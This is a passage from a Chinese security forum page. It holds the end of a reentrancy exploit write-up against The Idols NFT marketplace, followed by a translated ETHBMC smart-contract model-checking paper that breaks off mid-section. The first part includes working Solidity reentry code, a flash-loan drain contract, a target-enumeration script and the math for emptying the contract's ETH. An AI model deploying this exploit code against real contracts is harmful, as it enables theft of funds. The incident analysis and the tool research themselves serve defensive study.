1. Bob创建合约`Exploit`
2. 将刚购买的idols NFT发送给合约`Exploit`
3. 调用`Exploit`合约中`attack()`函数(发送3 ETH)
4. `attack()`函数中创建`ExploitReceive`合约(发送3 ETH)
5. `ExploitReceive`合约调用`enterBidForGod()`函数对`Exploit`合约拥有的idols NFT出价(3 ETH)
6. `Exploit`合约接受该出价，进行NFT转移`safeTransform()`
7. `safeTransform()`调用`ExploitReceive`合约的恶意`onERC721Received`函数，进行重入
`ExploitReceive`合约中的`onERC721Received`函数：
function onERC721Received(address, address, uint256, bytes calldata) external returns(bytes4) {
times++;
idolMain.transferFrom(address(this), address(exploit), id);
// 因为会被收7.5%的手续费，所以需要如下计算重入多少次
if (address(idolMarkestplace).balance > times * price * 925 / 1000) {
exploit.acceptBidAgain(id);
}
return ERC721_RECEIVED;
}
由此做到重入攻击，具体查看[Exploit和ExploitReceive合约代码](https://github.com/Dig2/chain-exploit/blob/main/The%20Idols/contracts/Exploit.sol)
整个流程的时序图如下所示：
最终效果效果：
### 使用闪电贷"免费"获得NFT
除了盗走IdolMarketplace合约中已有的ETH，还能先主动购买在Marketplace上上架的NFT，此时支付的ETH进入了合约中，只要再进行重入攻击，就能把这笔钱取出来，相当于免费获得了NFT。
稀有款NFT的拥有者往往会定很高的价，在Bob本金不够的情况下，可以借助闪电贷完成攻击。
流程：
1. 借款
2. 购买在IdolMarketplace上架所有NFT
3. 重入攻击取出刚付的ETH
4. 还款
用[NFT上架event](https://github.com/Dig2/chain-exploit/blob/main/The%20Idols/contracts/IdolMarketplace.sol#L52)和[NFT下架event](https://github.com/Dig2/chain-exploit/blob/main/The%20Idols/contracts/IdolMarketplace.sol#L56)分析得到哪些NFT仍处于可被购买状态：
async function getMarketNFTs(block: number | undefined) {
let nfts : {[key: number]: [BigNumber, number]} = {}
const listEvents = await realIdolMarketplaceContract.queryFilter(realIdolMarketplaceContract.filters.GodListed(null, null, null), undefined, block);
for( const e of listEvents ) {
const args = e.args
nfts[args[0].toNumber()] = [args[1], e.blockNumber]
}
const unlistEvents = await realIdolMarketplaceContract.queryFilter(realIdolMarketplaceContract.filters.GodUnlisted(null), undefined, block);
for ( const e of unlistEvents ) {
const args = e.args
const nftID = args[0].toNumber()
if (nfts[nftID] && e.blockNumber > nfts[nftID][1]) {
delete nfts[nftID]
}
}
let res = []
for ( const id in nfts ) {
res.push(id)
}
return res
}
考虑到idols
NFT可能在别的平台上被出售或者以其他某种方式transfer给了其他地址，对上面函数得到的结果遍历检查一下owner和上架人是否相同，能得到更准确的结果。
测试选取了十个定价高于10 ETH的idols NFT进行测试。
let nfts = [
'1005', '1074', '1862', '2008', '2106',
'2607', '2668', '2700', '3320', '3544',
]
Bob初始资金1 ETH作为gas：
ganache-cli -f https://eth-mainnet.alchemyapi.io/v2/<api>@14340000 --wallet.accounts <privateKey>,1000000000000000000 --chain.chainId 1
[漏洞利用合约代码](https://github.com/Dig2/chain-exploit/blob/main/The%20Idols/contracts/LoanExploit.sol)
在接收到借款后开始攻击：
fallback() external payable {
if (msg.sender == borrowerProxy && address(this).balance >= borrowValue) {
_buyNFT();
_reentry();
_repay();
_selfdestruct();
}
}
在重入利用函数`_reentry()`中，[有一行](https://github.com/Dig2/chain-exploit/blob/main/The%20Idols/contracts/LoanExploit.sol#L55)：
// calculate bidPrice required to withdraw all ETH in IdolMarketplace
uint bidPrice = address(idolMarketplace).balance * 1000 / 850;
这里的`850`是通过计算得出的：
设`x`是idolMarketplace合约的ETH余额，`y`是为了提取其所有ETH所构造的交易价。由于每笔交易有`7.5%`的手续费，所以当买家投入`y`
ETH，卖家只能提现`y * (1 - fee)` ETH。利用重入攻击提取两次，就是`y * (1 - fee) * 2`
ETH。最后解出方程就是上面代码中的比例：
最终效果：
可以看出，已经清空了idolmarketplace中的ETH并且这些NFT的owner都是Bob
## 总结
本次事件是`safeTransferfrom`导致的重入攻击的实际利用。就该项目合约而言，可以通过以下等方法修复：
1. 给所有函数都加上`nonReentrant`
2. 将状态修改放在`safeTransferfrom`之前
本文提到的代码可以在[此github仓库](https://github.com/Dig2/chain-exploit/tree/main/The%20Idols)中找到。
* * * | 社区文章 |
# ETHBMC：智能合约的有界模型检查器
|
##### 译文声明
本文是翻译文章，文章原作者 Joel Frank, Cornelius Aschermann, Thorsten Holz
原文地址：<https://www.usenix.org/conference/usenixsecurity20/presentation/frank>
译文仅供参考，具体内容表达以及含义原文为准。
智能合约的引入极大地推动了加密货币的最新发展。智能合约是生活在区块链上的程序，用于控制资金流向。但是，获得金钱收益的承诺吸引了错误的人，导致了骇人听闻的黑客攻击，导致数百万美元的货币损失。作为响应，开发了一些强大的静态分析工具来解决这些问题。对最近提出的针对以太坊智能合约的八种静态分析器进行了调查，发现它们都无法捕获以太坊生态系统的所有相关功能。例如，发现缺少精确的内存模型，仅部分支持合约间分析。
基于这些见解，介绍了基于符号执行的有界模型检查器的设计和实现，该模型检查器提供了以太坊网络的精确模型。通过一系列实验证明其功能。首先，将其与上述八个工具进行比较，表明即使是相对简单的玩具示例也可以阻碍其他分析器。为了进一步证明精确建模是必不可少的，利用ETHBmc功能进行自动漏洞扫描。对当前活跃在区块链上的大约220万个帐户进行大规模分析，并自动生成5,905个有效输入以触发漏洞。其中1,989个可以随意销毁合约（所谓的自杀合约），而其余的则可以被对手用来任意提取金钱。最后，将大规模分析与之前的两次分析进行了比较，发现比以前的方法有更多的输入（22.8％）。
## 0x01 Introduction
自2008年推出比特币以来，加密货币在学术界和行业中都获得了相当大的关注。 称为区块链的底层技术最初被设计为一种分散的点对点支付协议，而无需受信任的各方。
最近，这项技术还在许多不同领域得到了应用，例如供应链管理，资产转移或医疗保健。 区块链是由网络的所有参与者维护的分布式，仅追加的分类帐。
参与者运行共识协议以将新数据（即所谓的块）附加到分类账，从而使网络中的交易成为可能。
智能合约，直接部署在区块链上的程序允许用户对有关如何以及何时进行交易的复杂规则进行编码。例如，当特定事件发生时，合约可以转移资金。甚至有可能将多个合约链接在一起以表达更复杂的逻辑。这个想法由Szabo于1997年首次提出，但由以太坊于2014年提供了第一个现实世界实现方法。实际的智能合约通常以高级语言编写，以太坊最常使用Solidity。然后，将这些高级语言编译为字节码，该字节码在基于事务的状态机以太坊虚拟机（EVM）上执行。
这提供了很大程度的控制力，并保证了多种用例，例如状态或付款渠道，分散式加密货币交易所和多签名钱包。不利的一面是，智能合约与其他程序一样，也会遭受软件故障的困扰。在传统程序中，这可能“仅”导致崩溃，而在以太坊世界中，一个简单的错误可能会带来更直接的后果（通常是财务方面的后果）。臭名昭著的奇偶校验事件就是一个很好的例子。首先，攻击者利用共享库代码中的错误窃取了价值超过15万的以太坊（以太坊区块链背后的加密货币）。在遭到黑客攻击时，这笔交易的价值约为3000万美元。在第二个事件中，当时被打补丁的库再次被利用，这次导致超过514,000个以太坊（约合1.55亿美元）无法访问。
已经提出了几种以自动化方式检测软件故障的建议。对来自学术界和工业界的此类自动分析工具进行了调查，发现它们都至少缺乏以下类别：（i）合约间推理，（ii）内存建模，尤其是内存复制式操作，或（iii）加密哈希函数的处理。
在本文中解决了这些缺点，并介绍了ETHBMC的设计和实现，ETHBMC是基于符号执行器的智能合约自动分析框架，与最新工具相比，它对EVM内部使用更强大，更精确的推理。
ETHBMC被设计为有界模型检查器，可以根据智能合约的代码检查预定义模型。在模型被违反的情况下，ETHBMC可以自动生成具体的输入以简化进一步的分析（即，生成了一系列交易来证明检测到的漏洞）。因此，ETHBMC是第一种以完全自动化的方式识别奇偶校验漏洞的方法，甚至能够生成第二次利用原始攻击未使用的攻击。
为了证明工具的功能进行了一系列实验，将方法与被调查的分析仪进行了比较。主要目的是，即使是简单的示例也可能妨碍其他方法的不精确分析。接下来，将ETHBMC的功能作为自动生成漏洞利用的手段，扫描以太坊区块链（截至2018年12月）上的所有账户，生成5,905个漏洞利用。从这5905个漏洞中发现1,989个可用于任意破坏合约（所谓的自杀合约），其余的可用于提取金钱。此外，将本研究的大规模分析与该主题的两项先前的工作进行了比较。首先将分析结果与最新的自动漏洞利用生成工具teEther进行比较，证明了本文的方法可以在更短的时间内发现更多漏洞（22.8％），同时还能识别teEther中的假阳性。其次将其与一个可以使人找到自杀合约的执行器MAIAN作比较，并再次发现ETHBMC发现了更多的利用。最后对ETHBMC引入的技术进行消融研究，以定性的方式显示这些改进。在重新扫描易受攻击的合约时会系统地禁用其功能，从而了解不同技术如何对分析结果做出贡献。
为了促进智能合同安全的研究，ETHBMC的代码可在 <https://github.com/RUB-SysSec/EthBMC> 上获得。
## 0x02 Background
在深入介绍分析过程的技术细节之前，简要介绍了有关加密货币和以太坊虚拟机（EVM）的所需背景信息。
### 1）加密货币
2008年，中本聪（Satoshi
Nakamoto）引入了比特币和区块链的概念，这是一种在对等网络上运行的去中心化分类账。非正式地讲，区块链是一个公共的，仅附加的分类账，用于存储系统中发生的所有事件。参与者运行一个共识协议，该协议可以确保只要网络的大多数行为都是诚实的，总账是正确且安全的。
以太坊可以在许多方面被视为“比特币2.0”。由Buterin于2013年推出，它是一种具有图灵完备字节码语言的加密货币，可以协调系统中的价值转移。网络中的参与者由一个160位地址标识，该地址从ECDSA非对称密钥对的公共部分派生而来。在以太坊的情况下，这些所谓的帐户可能还会附加代码。这种帐户称为智能合约，将复杂的行为编码为字节码程序。用户可以以Ether的形式互相汇款，或者通过将交易提交到对等网络并用其私钥进行签名来执行智能合约代码，从而证明交易的正确性。尽管智能合约的执行时间受称为gas的参数限制，即保证程序最终终止的费用，但合约可以通过将交易链接在一起或使用多个合约拆分逻辑来实现相当复杂的行为。
### 2）以太坊虚拟机
以太坊定义了一种专用的，基于堆栈的虚拟机，称为以太坊虚拟机（EVM），用于确定智能合约执行的结果。以太坊在黄皮书中提供了正式规范，其中定义了EVM的整个内部工作方式。该机器对字节码进行操作，其中每个操作数将值弹出或推入数据堆栈，每个值具有256位字长。此外，EVM增强了针对加密货币环境量身定制的多种机制。
**World State**
：以太坊世界状态是整个系统的状态。在本文的其余部分将其称为环境。它由两部分组成，从帐户地址到帐户状态的映射以及当前块信息。帐户状态是一个元组，其中包含多个信息，例如帐户的当前余额。此外，如果帐户是智能合约，则帐户状态还包含字段代码和存储。代码字段保存智能合约的代码，而存储是用于在多个合约调用之间保留值的永久性存储器。
内存：EVM区分三种不同类型的内存，
•存储：存储是一个持久的键值存储，它将256位键ping到256位值。
•Calldata：交易的数据部分用于向合约提供用户输入。注意，这是一个可字节寻址的数据数组，在执行期间是不变的。
•执行存储器：该存储器是易失性字节数组，仅在整个执行过程中一直保持不变。它在经典计算机程序中像堆一样被使用，例如，在计算过程中存储中间结果。
该设置创建了具有独立指令和数据存储器的哈佛式架构。另外，EVM提供了内存复制式的操作，例如CALLDATACOPY，它将部分调用数据复制到执行存储器中。
### 3）符号执行和SMT解决
虽然研究的工具是基于多种不同的程序分析技术的，但ETHBMC是基于符号执行的，因此提供了简要的介绍。符号执行最初被设计为一种软件测试技术，但此后已被安全社区用于程序分析。符号执行将所有输入视为符号变量，而不是具体的输入，它们在程序的整个输入域中范围内。直观地讲，对于函数f（x），符号执行不是考虑一个具体的执行轨迹，例如f（10），而是考虑符号输入ϕ。产生符号函数执行f（ϕ），其中ϕ代表整个输入域，例如32位整数，因此探索了程序可以采用的所有可能路径。当到达分支（例如，if语句）时，将执行分支以探索两种可能的路径。为了保持较低的探索状态空间，符号执行器将程序的当前状态以及路径条件（例如，x
<= 3）编码为一阶逻辑公式，并使用可满足性模理论（SMT）求解器检查程序路径是否可行，避免进一步探索不可能的路径。
SMT公式用一阶逻辑表示，它是命题逻辑（也称为布尔逻辑）的扩展，它为表达问题提供了多种不同的理论。
SMT求解器通过枚举执行证明：它试图找到约束系统的满意（具体）分配，从而证明可以求解。在对程序的执行进行建模时，此具体分配为程序提供了输入，可用于达到给定状态。当另外将故障条件编码为逻辑公式并为二者找到令人满意的分配（即执行和故障条件）时，此具体分配是触发相应软件故障的程序的输入。
## 0x03 Challenges in Analyzing Smart Contracts
### 1)智能合约中的常见障碍
#### (a) Keccak256函数
EVM提供了一条特定指令，用于在执行内存区域上计算keccak哈希。基于实体的智能合约在实现映射数据类型（本质上是像数据结构的哈希表）时会大量使用此指令。而且，该功能可以由智能合约开发人员手动调用，例如，以实现诸如承诺方案之类的密码协议。
List 1演示了keccak函数的简单用法，可以通过keccak256关键字调用该函数。List
2中提供了对该函数的更“隐藏”用法，其中该指令用于计算内存位置。请记住，EVM的存储是单词可寻址内存。固定大小的数据类型具有一个固定的内存插槽。但是，在处理动态数据类型时，即在执行期间其大小可能会增加的类型时，不知道要分配多少个内存插槽。基于实体的智能合约求助于即时计算内存偏移。写入映射时（第3行），相应的内存位置将计算为keccak256（k||p），其中k是映射（映射）的关键，p是在编译时选择的常数。注意，如果可以使用此方案生成有效的哈希冲突，则先前的值将被覆盖。
#### （b）类似内存复制的指令
EVM无法直接访问调用数据，它只能对执行内存中的数据进行操作，即复制输入数据。在List
3中，字符串是无限制的数据类型，导致EVM利用CALLDATACOPY指令将整个输入复制到执行内存。这与具有固定宽度（例如uint256）的数据类型形成对比，该数据类型可以通过从calldata的普通读取中进行访问。
#### （c）合约间通信
Kiffer等人最近的一项调查进一步促进了合约间分析的需要，以太坊当前的合约拓扑。他们指出，大多数合约不是由人部署的，而是由其他合约创建的，从而使这些合约成为合约内交互的一部分。
### 2）奇偶钱包错误
基于这些示例，现在将原始的奇偶校验钱包错误作为真实示例进行检查，在该示例中，需要解决所有以前的问题以获得全面的分析。尽管已经研究了其他类型的智能合约漏洞，但如何以自动化方式检测奇偶校验事件仍然是一个尚未解决的挑战。请注意，本文仅介绍与该分析相关的摘要，对其进行了简化以简化阅读；可以在网上找到完整的源代码清单。
Parity钱包分为两个合约，一个是持有大部分代码库的库合约，另一个是用户部署的客户合约。一旦部署，智能合约就不会改变，因此，当更改（或确定）合约时，必须重新部署并因此偿还整个合约。为了减轻用户的负担，在拆分逻辑时，仅需要重新部署库。
EVM提供DELEGATECALL指令，该指令用于在执行时使用另一个帐户的代码。这些指令在仍然使用原始帐户上下文和存储的同时切换了要执行的代码。考虑List
5，假设用户Alice要使用Parity钱包库。她使用存储变量部署她的客户代码（第15-23行），该存储变量包含库合约的帐户地址（第16行）。稍后调用客户合约时，它将交易委托给库代码（第22行），并转发交易的通话数据（msg.data）。请注意，这还意味着如果攻击者可以将合约的控制流重定向到自己喜欢的地址，那么他们就有能力任意执行代码（例如提取所有资金）。
由于区块链上的每个人都可以调用任何合约，因此智能合约开发人员已经发明了所有者的概念，该变量通常在合约创建过程中设置，用于指定合约所有者的地址。对于奇偶校验多重签名钱包，甚至存在在创建钱包（第7-9行）时初始化的一系列所有者（第2行）。尽管变量是在库代码中定义的，但是由于执行上下文位于原始帐户中，因此变量是在客户合约上设置的。
**分析障碍：**
除合约间通信外，Parity钱包还使用keccak功能，既作为普通调用（第11行），也用作映射数据类型（第3行）。在对msg.data（第11行）进行哈希处理时，由于其（理论上是）无限制的大小，因此会将整个数据复制到执行内存中。因此，静态分析器必须能够推理出合约间的通信以分析所分配的合约以及类似于内存复制的指令和加密散列函数以彻底分析支付函数。
攻击者利用了initWallet函数未标记为私有的事实。在Solidity中，这意味着它默认为public，即任何人都可以调用它。因此，攻击者首先调用initWallet函数，使其成为所有者，然后使用付款函数将钱包的所有资金转移到他的帐户中。请注意，攻击者必须执行两次交易，因此仅分析initWallet是不够的，因为实际的攻击发生在pay函数中。
### 3）最先进的技术
为了对现有方法进行调查，从程序分析领域中基于不同原理选择了各种工具，范围从数据流分析（安全化）到符号执行（Manticore，Mythril，MA
IAN，Oyente和teEther），以抽象解释（Van
dal和MadMax）。本文无法充分介绍每种技术，但是，有兴趣的读者可以参考Nielson等人的出色著作。
在审查中，发现所有工具都使用某种过度逼近的方法，这可能会引入错误的积极因素。因此将“验证”定义为另一个潜在障碍。也就是说，此后是否正确验证了任何过度逼近？上表给出了本文分析结果的概述。请注意，MadMax基于Vandal，因此它继承了其局限性，下面仅详细讨论Vandal。
#### （a） Keccak256函数
由于keccak计算的普遍性，本研究分析的大多数工具都提供了某种策略来在分析过程中对其进行处理，但是所有这些工具都不精确。所有工具都支持在具有恒定参数的恒定执行内存区域上计算keccak值（即，每个内存值都是非符号的）。这使他们可以提取相应的内存区域并计算实际的哈希值。
安全考虑在符号计算期间将每个内存位置都视为潜在的依赖项，即使实际上是不可行的。
Mythril在遇到符号偏移量或内存的符号部分时，会将keccak值与新的不受约束的符号位过分近似。当任何内存值或自变量是符号时，Manticore会使用一个调和策略，并将其值固定为常量。但是，它们保留所有先前计算的哈希的映射，并尝试将当前哈希与已看到的哈希进行匹配。同样，teEther在符号执行期间存储一个占位符对象，然后应用一个策略策略来解析所有可见的占位符。
Vandal不会尝试任何具体的或符号处理，但会忽略指令并将结果视为新的符号变量。上述方案的异常点是Oyente，它仅支持具体的keccak计算，但不花力气计算实际值。它宁愿提取内存区域的字符串表示形式，对其进行压缩和base64编码，然后使用此编码作为映射来匹配以后的哈希计算[37]。
**本文解决方案：**
遇到符号keccak值时，使用特殊编码方案。该方案基于keccak是绑定函数的想法，即，当将相同的输入提供给该函数时，它将产生相同的输出。当它们的输入存储区可以相同时，通过向执行添加约束，将不同的keccak计算编码为相同，来利用这种行为。
#### （b）内存建模
审查显示，没有经过检查的工具完全支持精确的内存模型。一些人采用过分逼近或固执策略来规避关于符号记忆复制式操作，而另一些人则选择不支持它们。更具体地说，MAIAN支持符号读取操作，但会删除任何符号写入或内存复制式操作。
Mythril支持标准的读/写操作，但是在输入复制指令时会遇到麻烦。它正确地处理了具体的问题，但是，例如，当向主题复制操作提供符号偏移量时，它要么删除路径，要么将其大小固定为1。同样，Manticore和teEther完全支持简单的内存操作，但否则请采用concil策略。当遇到任何符号内存写入时，Securify会表现得比较保守，会清除整个内存，因为它不再能推理出具体细节。
Oyente和Vandal都不支持任何基于副本的指令。
**本文解决方案：**
与以前的工作相反，本文采用了完全符号存储模型。将内存表示为图形表示，当从一个内存复制到另一个内存时，连接不同的内存区域。当需要评估给定路径的可行性时，使用众所周知的数组理论以及Falke等人的扩展，将主题图编码为约束解决类似内存复制的操作。
#### （c）合约间分析
Mythril和Manticore是仅有的两个支持合约间分析的工具，但是，两者都以不精确的方式进行。当合约与另一个合约交互时，下一次执行的输入来自被调用者的执行内存。Mythril和Manticore都支持完全具体的合约调用，即，如果用作调用数据的执行内存部分完全对应于具体值，则执行将照常继续。但是，当相关内存区域中的任何值都是符号性的时，两种工具都采用不同的策略来解决该问题。
Mythril忽略了执行内存的内容，并通过创建一个新的不受约束的数组对象来过度逼近调用数据。相比之下，Manticore采用了一种锥度方法，将任何符号值固定为常数。
**本文解决方案：** 利用支持符号复制指令的内存模型来正确地为调用操作建模输入内存。
#### （d）验证
本节中讨论的所有工具都严重依赖于过度逼近。想强调的是，这是一种常见的方法，对于对抗状态爆炸是必不可少的。尽管如此，这些设计选择显然会导致误报。认识到这些问题，MAIAN和teEther都使用私有链来在受控环境中模拟其错误发现。其他方法均未尝试修剪潜在的误报。
**本文解决方案：** 遵循先前的工作，并模拟每个潜在的错误，将其作为具体的脱机执行以清除误报。
## 0x04 Modelling Ethereum
在下文中概述了作为ETHBMC基础的理论模型。从攻击媒介概述和一般介绍入手，进入环境建模，广泛介绍支持内存复制的内存模型，最后描述对call和keccak指令的处理。
### 1）攻击者模型
ETHBMC提供了以太坊生态系统的符号化，多账户功能表示，可用于检查任意模型。为了演示其功能，对认为最关键的三个特定攻击媒介进行了建模：首先，是一个想要从分析的合约中提取以太币的攻击者。其次，想要将分析后的合约的控制流重定向到自己的帐户的攻击者。第三，想要自毁分析后的合约的攻击者。请注意，仅要求攻击者能够参与以太坊协议，从而为她提供网络和区块链的实时视图，包括对合约的存储和字节码级别访问（即对世界状态的访问）。
### 2）高层概述
本研究想尽可能合理地推理智能合约。这涉及到包含多个合约交互的EVM的精确模型。但是，就像所有静态分析器一样，必须选择要精确建模的模型和过高近似的模型。决定既不对共识协议以及gas使用量建模，保证无效交易不会被执行，因此不会影响智能合约状态。而且要分析的代码必须在实践中可执行，即它必须具有合理的耗gas量。
将EVM建模为抽象状态机（ASM）Γ，提供了执行上下文，在该上下文中可以推断合约的执行情况。
ASMΓ以字节码数组Σ作为输入，即合约代码，并从第一条指令开始执行。完成执行后，机器将返回所有停止状态σh的集合，即Γ达到非异常停止条件的所有状态的集合，如黄皮书所定义。
另外定义了一个状态σ=（µ，pc，Π），其中µ表示堆栈，pc是指向下一条指令的程序计数器，Π是给定路径的路径约束集。还将µ[0]定义为堆栈的第一个（最顶部）参数，将µ[1]定义为第二个参数，依此类推。
### 3）环境建模
想在执行者中建立一个丰富的环境模型（即世界状态）。因此，将帐户状态定义为元组α=（balance _,_ code _,_
storage）。其中balance是一个符号值，表示帐户余额。
code是属于帐户的（可选）代码，storage是256位至256位键值存储，其中包含持久帐户状态（也是可选的）。
另外，将事务（tx）定义为元组（origin, recipient, callvalue, calldata, calldatasize）。
origin是交易的原始帐户地址，recipient是收件人，callvalue是附加在交易中的值，calldata是附加在交易中的（可选）calldata，并且calldatasize是代表变量大小的符号变量。
calldata数组（还是可选的）。
通过添加一个映射帐户来扩展Γ的定义：address→α映射帐户地址到它们各自的状态，即世界状态。此外，介绍了代表系统中所有已发行交易的设置交易。分析特定合约时，设置了一个攻击者帐户和（可能有多个）受害者帐户计数。然后模拟交易链t1，t2，…，tk。对于每笔交易，执行完整的Γ运算，得出停止状态σh。然后，对于每个σi∈σh，分叉执行并继续下一个tj直到tk。
### 4）内存模型
#### （a）内存图
该图本身用于跟踪对内存的所有修改。它从一个初始节点开始，并在每次对内存的读/写操作时进行更新。更正式地讲，引入存储所有存储节点的内存图∆
=（V，E），并将其添加到状态定义中，即σ=（µ，pc，Π，∆）。为每个节点分配一个唯一的索引。因此，将索引为i的节点表示为ni。此外为每个节点分配一个标签，即初始化标签或内存更改操作（写，复制或设置），以跟踪创建该节点的操作。
目前，仅考虑一个存储区域，例如存储年龄。从初始节点s0开始，每次创建一个连接到其父节点su的新节点st时，每次遇到对内存的写入（例如SSTORE）时都会更新图形。这为在执行期间的任何状态下提供了唯一的内存映像（类似于编译器理论中已知的静态单分配（SSA）形式）。当将内存布局转换为约束时，从最新的节点st开始，以向后遍历图的方式收集所有内存更新，并根据它们的相应标签将它们编码为逻辑公式。这种方法使本文能够推理符号存储操作。
当考虑多个内存区域（例如执行内存和调用数据）时，为每个区域引入一个初始节点，即图以森林开始，并且只要内存操作仅在单个内存区域上运行就保持不变。它可以通过两种不同的方式进行连接。首先，间接地从一个区域加载并存储到另一个区域，并通过约束隐式链接图的两个部分。其次，直接通过内存复制样式操作（例如CALLDATACOPY），通过节点和边明确地链接图形的两个部分。加载和存储会在系统中引入约束，在将内存区域转换为一阶逻辑时链接它们。复制会在目录林的目标树中引入一个新节点（例如，CALLDATACOPY的执行内存）。该节点连接到内存的源区域和目标区域，并显式链接图形的两个部分。
#### （b）常规内存操作
在执行期间，对于每个帐户，都会创建一个新的存储节点nj并将相应的索引存储在其帐户状态α.storage←nj中。同样，每次事务都会创建一个新的呼叫数据并存储其标识符。另外，为ASM分配一个执行内存Γ.m←nk。定义对内存的读写如下：
•∆.write（ni，p，v）→nj：将值v写入以存储节点ni为父节点的地址p，返回新节点nj。
•∆.read（ni，p）7→v：从存储器ni的位置p读取值v。
这使对SSTORE指令的建模变得简单：
)
在此示例中，将值µ[1]写入帐户（α.storage）的当前存储区到地址µ[0]。通过在内存存储区∆中创建一个新的内存节点nj来表示这一点。然后将此新存储节点的索引分配为当前帐户存储α.storage。
由于EVM的字长为256位，因此对其他存储器操作进行建模更加困难。但是，calldata和执行存储器都是可字节寻址的存储器。结果必须在256位和8位多块之间转换。
用µ [i] [0]表示µ [i]的最低字节，用µ [i]
[31]表示最高（最左边）的字节。将MSTORE建模为对执行存储器的32个8位写入序列，从而相应地移动地址和提取的8位大小的块。从执行存储器中读取数据的方法与此类似，在读取索引移位的同时读取8位块，将结果串联起来。
在对CALLDATALOAD建模时，EVM将calldata定义为理论上无界的数组。因此，当存储操作读取超出范围（即，大于calldatasize的位置）时，EVM只是“读取”零。因此，对于每次从calldata读取的操作，将其包装在ite（IF-THEN ELSE）操作中，该操作会限制在提供的地址超出范围时将负载评估为零。
#### （c）支持存储器复制和存储器集样式的指令
EVM提供了多个指令，这些指令的行为类似于内存复制。在∆上定义以下函数：
•∆.set∞（ni，p，v）→v：将存储器ni中的所有值（从位置p开始）设置为值v
•∆.copy（ni，p，nj，q，s）→nk：从节点nj复制一个大小为s的块，从位置q开始直到q + s，复制到节点ni，从位置p开始复制直到位置p +
s
这些函数可实现内存复制式操作并简化内存初始化。存储寿命和执行内存在生命周期开始时均假定为零。利用set∞函数，可以初始化这些区域。
### 5）模拟调用
如前所述，EVM提供合约以相互交互。考虑下图，假设模拟了针对合约A的用户交易。
将首先设置一个ASMA以模拟合约A的执行，从而生成A的执行树。现在假设-在执行期间-遇到了对合约B的消息调用。然后设置ASMB，在整个exe中运行割，然后为每个状态σi∈σh划分执行树。这能够为消息调用模拟每个可能的结果。请注意，该技术可以递归地应用于模拟嵌套消息调用。
同样，在执行DELEGATECALL或CALLCODE指令时，会切换ac计数的代码并按上述概述进行操作。当调用另一个帐户时，EVM使用部分执行内存作为新执行的输入。继续运行示例，当执行从ASMA到ASMB的消息调用时，在∆中创建一个新的calldata节点，然后利用复制函数能复制来自ASMA执行存储器的输入。当ASMB的执行完成时，将部分执行内存从ASMB复制到ASMA，作为返回数据。
### 6）处理Keccak指令
EVM提供了一条特定指令，用于在部分执行存储器上计算keccak-256哈希。然而，过去已经证明这些功能很难进行静态分析。一种常见的技术是使用Ackerman编码，该编码用于编码不可解释的函数。它利用了加密散列函数是绑定函数的事实，即，在相同的输入下，保证该函数产生相同的输出。可以如下利用该属性：
但是，由于EVM在执行内存上计算keccak函数，因此无法直接将这种编码用于本文的目的。遇到keccak计算时，将按以下步骤进行操作：如果所有因变量和内存区域都是常量，则只需计算常量哈希值即可。否则用占位符对象替换结果，该占位符对象存储执行内存的当前映像以及keccak计算的开始和结束地址。当要评估给定执行路径的可行性时，不是直接在输入上编码等式（1），而是为每个内存地址编码。
更正式地说，用三个字段定义元组keccak：（i）keccak.addr，起始内存地址，（ii）keccak.len，要考虑的内存范围的长度，以及（iii）keccak.m，其中是计算时存在的执行内存的索引。使用算法1对所有可能的keccak元组对进行编码。假定要转换为一阶逻辑并添加到路径约束Π的两个不同的元组i和j。首先尝试利用更复杂的编码。但是，在无法争论len参数的情况下（例如，一个参数是不受约束的符号变量），求助于后备编码（第2-3行）。
假设i.len和j.len都是常数，可以使用更复杂的方案。首先，如果i.len 6 =
j.len（第4行），可以简单地反驳两个值计算为相同的哈希，因此只需将i 6 =
j添加到Π。其次，当两个值匹配时（第6-16行），在用于哈希计算的可能的内存位置（第9-13行）上构造一个嵌套的ITE（IF-THEN-ELSE）表达式。在构造编码时，在每个级别上都会检查是否可以轻易证明两个内存位置相等（第9行），否则可以立即中止（第10行）并将两个keccak值编码为不相等（第15行）。否则将沿着len参数的范围（第8行）进行迭代。遍历每个内存位置（第9-12行），构造条件∆
[im，i.addr + k] = ∆ [jm，j.addr +
k]，编码为i的内存位置必须与j相同计算到相同的哈希值。在每次迭代中，将ITE表达式的真实分支分配给循环的前一次迭代的编码，特殊情况是循环的第一次迭代提供i
= j。因此，如果后端SMT求解器遍历嵌套编码，并且可以证明所有内存位置都相等，那么它将最终到达最终谓词i =
j。但是，如果它证明任何条件都成立，则得出否定谓词i！= j，在构造的每次迭代中都将其赋值。
乍一看，要求两个keccak元组都依赖恒定长度的参数似乎是一个强大的假设。然而实际上，通常是这种情况，例如，在固定大小的数据结构上计算的keccak值始终具有固定的长度，对于计算映射数据类型的内存偏移也是如此，可通过keccak操作对其进行访问。因此，额外地提取了计算的关键部分，以便以后匹配读/写。
另外，当遇到带有常数变量的相等检查时，即keccak ==
c，其中c为常数，可以立即得出结论，结果必须是不相等的。否则，假设可以计算哈希冲突。换句话说，假设可以计算一个特定的输入，这将导致keccak函数的（恒定）输出。注意：在特定情况下，攻击者可能知道生成c的正确输入。
## 0x05 Design and Implementation
现在，提供了ETHBMC架构的概述，下图提供了图形概述。该工具包含三个主要模块，即符号执行器，检测模块和验证模块。
ETHBMC在大约13,000行Rust代码中实现。
ETHBMC利用其符号执行引擎来探索程序可以到达的可用状态空间。在探索过程中，可以随时将达到此状态所需的必要条件（或约束）转换为一阶逻辑。探索结束后（即执行终止），将使用其他约束对攻击者的目标进行编码。例如，对一个约束进行编码，使攻击者的帐户余额在执行的最后一个状态必须高于在执行的第一个状态。然后，利用后端SMT求解器来求解约束系统。SMT求解器通过枚举执行证明：它试图找到约束系统的满意（具体）分配，从而证明可以求解。对智能合约的完整执行进行建模。因此，既达到有效的暂停状态又满足攻击者模型的令人满意的任务证明了合约中的漏洞。此外，由SMT求解器找到的具体分配是智能合约的有效输入（即交易），最后通过运行具体的脱机执行来验证该漏洞利用是真的。
### 1）符号执行器
执行器以广度优先搜索方式探索合约。每当执行者需要断言给定代码路径的可满足性时，都会查询后端SMT求解器。本文评估了不同的求解器，发现在此问题域中，Yices2优于其他方法，例如Boolector和Z3
。本文探索所有代码路径，直到它们到达停止状态，或者求解器超时或拒绝该路径。如果在执行过程中遇到循环，则使用循环展开，即执行n次循环，然后退出循环。本研究在限制调用深度方面使用了相同的策略，因为在具有多个帐户的环境中，合约可能会无限循环地相互调用。此外采用了几种标准的符号执行优化技术：恒定折叠，算术重写和约束集缓存。当执行器处于挂起状态时，所有最终状态都将传递到检测模块以进行进一步分析。
### 2）检测模块
